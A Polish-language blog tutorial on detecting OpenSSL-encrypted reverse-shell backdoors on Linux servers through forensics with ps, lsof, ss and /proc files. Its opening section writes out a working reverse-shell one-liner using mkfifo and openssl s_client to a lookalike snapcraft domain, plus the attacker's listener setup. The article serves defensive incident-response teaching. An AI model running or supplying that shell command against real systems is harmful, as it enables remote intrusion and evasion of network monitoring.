Wykrywanie tylnych wejść do systemu Linux opartych o OpenSSL
Napisał: Patryk Krawaczyński
24/05/2021 w Bezpieczeństwo Brak komentarzy. (artykuł nr 786, ilość słów: 2209)
Z
nalezienie tylnego wejścia (ang. backdoor) uruchomionego w systemie Linux nie zawsze może być trywialne. Tylne furtki służą do interakcji atakującego z hostem w czasie rzeczywistym i są konsekwencją / kolejnym krokiem włamania do systemu. Sposród różnych backdoorów, które można wykorzystać w środowisku *nix jest bardzo dobrze znany bindshell, czyli powłoka, która nasłuchuje na określonym porcie TCP/IP. Uruchomi ona wszystko, co zostanie wysłane do tego portu i odpowie danymi wyjściowymi z przesłanych poleceń. Jej wariantem jest odwrócona powłoka (ang. reverse shell), ponieważ zamiast łączenia się atakującego z ofiarą, napastnik powoduje (np. poprzez podatną webaplikację), że to system ofiary łączy się do niego z powrotem. Dlaczego to takie ważne? Ponieważ większość funkcji filtrowania sieci jest skonfigurowana tak, aby szczegółowo blokować ruch przychodzący z internetu. Jednak bardzo często ruch wychodzący jest nieograniczony lub znacznie mniej filtrowany. Dlatego odwrócony bindshell jest świetnym sposobem na przeskakiwanie zapór ogniowych i innych mechanizmów ochrony.
[ Serwer WWW w DC ] [ -- backdoor --- ] <------> [ # Firewall # ] |<----- [ Atakujący ] [ -- port:6969 -- ] [ Serwer WWW w DC ] [ # Firewall # ] [ Atakujący ] [ -- bindshell -- ] -------------------------------> [ port: 443 ] [ -- port:54682 - ]
Omówmy teraz przypadek prostej analizy, w którym atakujący przesyła ruch za pomocą szyfrowania OpenSSL, aby go ukryć w szumie ruchu internetowego. Pakiet openssl
jest często domyślnie instalowany na wielu serwerach. Przesyłany ruch za pomocą polecenia openssl
jest w pełni szyfrowany, co uniemożliwia analizę przy użyciu standardowych narzędzi do wykrywania i monitorowania włamań do sieci. Ruch jest zaszyfrowany i jeśli nie rozszywamy komunikacji SSL z serwerów to jedyne, co zobaczymy to połączenie ze zdalnym systemem, które może być legalne lub złośliwe. Co gorsza, często wydaje się, że jest to tylko standardowy ruch HTTPS i może zostać całkowicie zignorowany w morzu szumu sieciowego.
Odpalamy zaszyfrowany tunel:
Atakujący po swojej stronie tworzy klucz i samopodpisany certyfikat, który posłuży mu do szyfrowania transmisji z ofiarą:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
Uruchamia na swojej maszynie serwer OpenSSL (port 443 – https), aby symulować połączenie https://
na skompromitowanym hoście.
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
Posiadając możliwość wydawania zdalnych poleceń (ang. Remote Code Execution) na skompromitowanym serwerze WWW atakujący zmusza serwer ofiary, aby ten połączył się z jego maszyną i uruchomił powłokę poleceń:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect \ api.snopcraft.io:443 > /tmp/s; rm /tmp/s
Atakujący dodatkowo używa domeny, która przypomina domenę wykorzystywaną przez pakiet snapd do komunikacji z serwisem snapcraft.io. Po wykonaniu polecenia terminal ofiary podaje ostrzeżenie o samopodpisanym certyfikacie:
depth=0 C = EU, ST = ee, L = ee, O = ee, OU = ee, CN = ee, emailAddress = ee verify error:num=18:self signed certificate verify return:1 depth=0 C = EU, ST = ee, L = ee, O = ee, OU = ee, CN = ee, emailAddress = ee verify return:1
A od strony terminala atakującego pojawia się znak zachęty powłoki. W tym momencie osoba atakująca może wykonywać polecenia z uprawnieniami użytkownika serwera WWW:
root@darkstar:~# openssl s_server -quiet -key key.pem -cert cert.pem -port 443 sh-3.2$ hostname -f www-farm1.dc.lan sh-3.2$ uptime 13:59 up 1:08, 3 users, load averages: 1.76 2.12 2.10 sh-3.2$ id uid=33(www-data) gid=33(www-data) groups=33(www-data),80(sudo) sh-3.2$ pwd /var/www/php_cms sh-3.2$
Widzimy, że osoba atakująca może wykonywać polecenia jako użytkownik serwera WWW ofiary. W dodatku należy on do grupy sudo, co może świadczyć o tym, że posiada możliwość podniesienia uprawnień (możemy to sprawdzić poprzez polecenie: sudo -l
). Jeśli w pliku /etc/sudoers
umieszczona jest dyrektywa NOPASSWD
dla grupy sudoers – maszyna jest już totalnie skompromitowana.
Badanie podejrzanego procesu OpenSSL:
Zakładamy, że widzimy podejrzany ruch sieciowy pochodzący z naszego serwera do zewnętrznego hosta – szczególnie wyróżnia się bardzo dużo danych wysyłanych do internetu mimo, że serwer nie posiada żadnych dużych plików do ściągania – czyżby ktoś wysyłał całą zawartość serwera WWW lub dokonywał wycieku bazy danych, do której posiada dostęp webaplikacja? Sprawdźmy. Logujemy się na host i wykonujemy nasze standardowe polecenia: ps -auxww
, lsof
, ss
, aby sprawdzić, co się wyróżnia:
www-data 11949 0.0 0.1 22212 3852 pts/2 S+ 09:21 0:00 /bin/sh -i www-data 11950 0.0 0.2 19360 5648 pts/2 S+ 09:21 0:00 openssl s_client -quiet -connect api.snopcraft.io:443
Powłoka oraz klient openssl zostały uruchomione z UID użytkownika www-data
. Te dwa podejrzane procesy (PID: 11949, 11950) należy sprawdzić pod kątem ich aktywności w sieci (lsof -p 11950
):
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME openssl 11950 www-data cwd DIR 8,7 4096 15466497 /var/www/php_cms openssl 11950 www-data rtd DIR 8,2 4096 2 / openssl 11950 www-data txt REG 8,5 723944 524368 /usr/bin/openssl openssl 11950 www-data mem REG 8,2 47568 533 /lib/libnss_files-2.27.so openssl 11950 www-data mem REG 8,2 14560 336 /lib/libdl-2.27.so openssl 11950 www-data mem REG 8,2 2030928 318 /lib/libc-2.27.so openssl 11950 www-data mem REG 8,2 144976 763 /lib/libpthread-2.27.so openssl 11950 www-data mem REG 8,5 2917216 395244 /usr/lib/libcrypto.so.1.1 openssl 11950 www-data mem REG 8,5 577312 395248 /usr/lib/libssl.so.1.1 openssl 11950 www-data mem REG 8,2 179152 172 /lib/ld-2.27.so openssl 11950 www-data 0r FIFO 0,13 0t0 4960262 pipe openssl 11950 www-data 1w FIFO 0,46 0t0 23 /tmp/s openssl 11950 www-data 2u CHR 136,2 0t0 5 /dev/pts/2 openssl 11950 www-data 3r CHR 1,9 0t0 11 /dev/urandom openssl 11950 www-data 4r CHR 1,8 0t0 10 /dev/random openssl 11950 www-data 5u IPv4 4958726 0t0 TCP www-farm1.dc.lan:54682-> api.snopcraft.io:443 (ESTABLISHED)
Polecenie openssl
posiada otworzony potok o dziwnej nazwie /tmp/s. Widzimy również aktywne połączenie do zdalnego systemu api.snopcraft.io. Możemy to potwierdzić poleceniem: ss -at '( sport = :54682 or dport = :443 )'
:
State Recv-Q Send-Q Local Address:Port Peer Address:Port ESTAB 0 0 www-farm1.dc.lan:54682 api.snopcraft.io:443
Teraz, gdy zidentyfikowaliśmy podejrzany proces, przejdźmy do “rejestru” Linuksa /proc
, aby uzyskać więcej informacji:
root@www-farm1:~# cd /proc/11950 root@www-farm1:/proc/11950# ls -al lrwxrwxrwx 1 www-data www-data 0 May 24 10:27 cwd -> /var/www/php_cms lrwxrwxrwx 1 www-data www-data 0 May 24 10:27 exe -> /usr/bin/openssl
Widzimy ścieżkę, z której prawdopodobnie został uruchomiony proces openssl
. W tym momencie możemy stworzyć hash pliku binarnego w celu dalszego zbadania. To, że plik binarny nazywa się openssl nie oznacza, że tak jest. Odłożenie go na “bok” może być dobrym pomysłem, dopóki nie będziemy mieli pewności, ponieważ atakujący mógł go zastąpić swoją wersją i używać jej nazwy, aby uniknąć wykrycia. Jeśli plik jest oznaczony jako usunięty (deleted
) na listingu możemy postępować zgodnie z tymi instrukcjami, aby go odzyskać. Zajrzyjmy jeszcze do niektórych krytycznych obszarów procesu, aby zebrać więcej informacji. Trzy kluczowe obszary to: argumenty wiersza poleceń, zmienne środowiskowe oraz mapy procesów:
root@www-farm1:/proc/11950# strings cmdline openssl s_client -quiet -connect api.snopcraft.io:443
Polecenie strings
powoduje, że dane z pliku cmdline
są łatwiejsze do przeczytania. Oprócz powyższego pliku możemy również spojrzeć na plik /proc/$PID/comm
, aby zobaczyć czy również pasuje do tego, co wywołuje sam proces. W przypadku niektórych złośliwych programów może on wyglądać inaczej:
root@www-farm1:/proc/11950# cat comm openssl
Przyjrzymy się teraz zmiennym środowiskowym procesu, które mogą ujawnić wiele informacji o tym, kto lub co rozpoczęło proces:
root@www-farm1:/proc/11950# strings environ USER=www-data PWD=/var/www/php_cms HOME=/var/www/php_cms LOGNAME=www-data _=/usr/bin/openssl
Wreszcie, ostatnim obszarem, do którego warto zajrzeć jest plik zawierający aktualnie zamapowane regiony pamięci i ich uprawnienia dostępu. To pokaże nam do jakich plików binarnych i bibliotek odnosi się proces podczas uruchamiania. Czasami możemy znaleźć tutaj ukryte pliki lub biblioteki :
root@www-farm1:/proc/11950# strings maps 56036de20000-56036debc000 r-xp 00000000 08:05 524368 /usr/bin/openssl 56036e0bc000-56036e0c9000 r--p 0009c000 08:05 524368 /usr/bin/openssl 56036e0c9000-56036e0d1000 rw-p 000a9000 08:05 524368 /usr/bin/openssl 7f8dd598a000-7f8dd5995000 r-xp 00000000 08:02 533 /lib/libnss_files-2.27.so 7f8dd5b9c000-7f8dd5b9f000 r-xp 00000000 08:02 336 /lib/libdl-2.27.so 7f8dd6191000-7f8dd61ab000 r-xp 00000000 08:02 763 /lib/libpthread-2.27.so 7f8dd63b0000-7f8dd664b000 r-xp 00000000 08:05 395244 /usr/lib/libcrypto.so.1.1 7f8dd687b000-7f8dd68fc000 r-xp 00000000 08:05 395248 /usr/lib/libssl.so.1.1 7f8dd6b08000-7f8dd6b31000 r-xp 00000000 08:02 172 /lib/ld-2.27.so
Ostatnim obszarem w ramach tej szybkiej akcji kryminalistycznej są deskryptory otwartych plików, z których korzysta proces. Deskryptory otwartych plików mogą ujawnić wiele informacji o procesie i tym, co robi lub czym może być zainteresowany. W przypadku tego bindshell’a openssl spodziewamy się zobaczyć jakiś rodzaj otwartego potoku i być może połączenia z innym procesem dla powłoki. W przypadku innego złośliwego oprogramowania deskryptory plików mogą pokazać ukryte pliki, w których rejestruje dane:
root@www-farm1:/proc/11950# cd fd /proc/11950/fd root@www-farm1:/proc/11950/fd# ls -la total 0 dr-x------ 2 www-data www-data 0 May 24 09:49 . dr-xr-xr-x 9 www-data www-data 0 May 24 09:49 .. lr-x------ 1 www-data www-data 64 May 24 09:49 0 -> 'pipe:[4960262]' l-wx------ 1 www-data www-data 64 May 24 09:49 1 -> /tmp/s lrwx------ 1 www-data www-data 64 May 24 09:49 2 -> /dev/pts/2 lr-x------ 1 www-data www-data 64 May 24 09:49 3 -> /dev/urandom lr-x------ 1 www-data www-data 64 May 24 09:49 4 -> /dev/random lrwx------ 1 www-data www-data 64 May 24 09:49 5 -> 'socket:[4958726]'
Widzimy wcześniej zaważony plik /tmp/s, potok oraz gniazdo, które są podłączone do tego procesu. Oznaczenia 0, 1 oraz 2 są kolejno: standardowym wejściem (stdin), standardowym wyjściem (stdout) oraz standardowym strumieniem błędów (stderr). Czyli potwierdza nam to polecenie z zaszyfrowanego tunelu – ktoś przekierowuje wejścia i wyjścia do nazwanego potoku w tymczasowym katalogu. Sprawdźmy teraz PID: 11949, który uruchomił powłokę /bin/sh -i
:
root@www-farm1:/proc/11949/fd# ls -al total 0 dr-x------ 2 agresor agresor 0 May 24 09:49 . dr-xr-xr-x 9 agresor agresor 0 May 24 09:49 .. lr-x------ 1 agresor agresor 64 May 24 09:49 0 -> /tmp/s l-wx------ 1 agresor agresor 64 May 24 09:49 1 -> 'pipe:[4960262]' l-wx------ 1 agresor agresor 64 May 24 09:49 2 -> 'pipe:[4960262]' lrwx------ 1 agresor agresor 64 May 24 09:49 255 -> /dev/tty
Widzimy, że polecenie openssl
oraz /bin/sh
współdzielą tą samą referencję i-węzła (4960262) do nazwanego potoku /tmp/s
– w ten sposób powłoka i klient openssl są połączone i wymieniają dane. Wiemy już, że to nie jest proces programisty, który użył openssl do debugowania problemu z certyfikatem SSL. Czas zainicjować procedurę reagowania na incydent i kontynuować badanie, aby dowiedzieć się jak doszło do możliwości wykonania polecenia z poziomu serwera WWW.
Więcej informacji: Day 43: Reverse Shell with OpenSSL, Detecting and Investigating OpenSSL Backdoors on Linux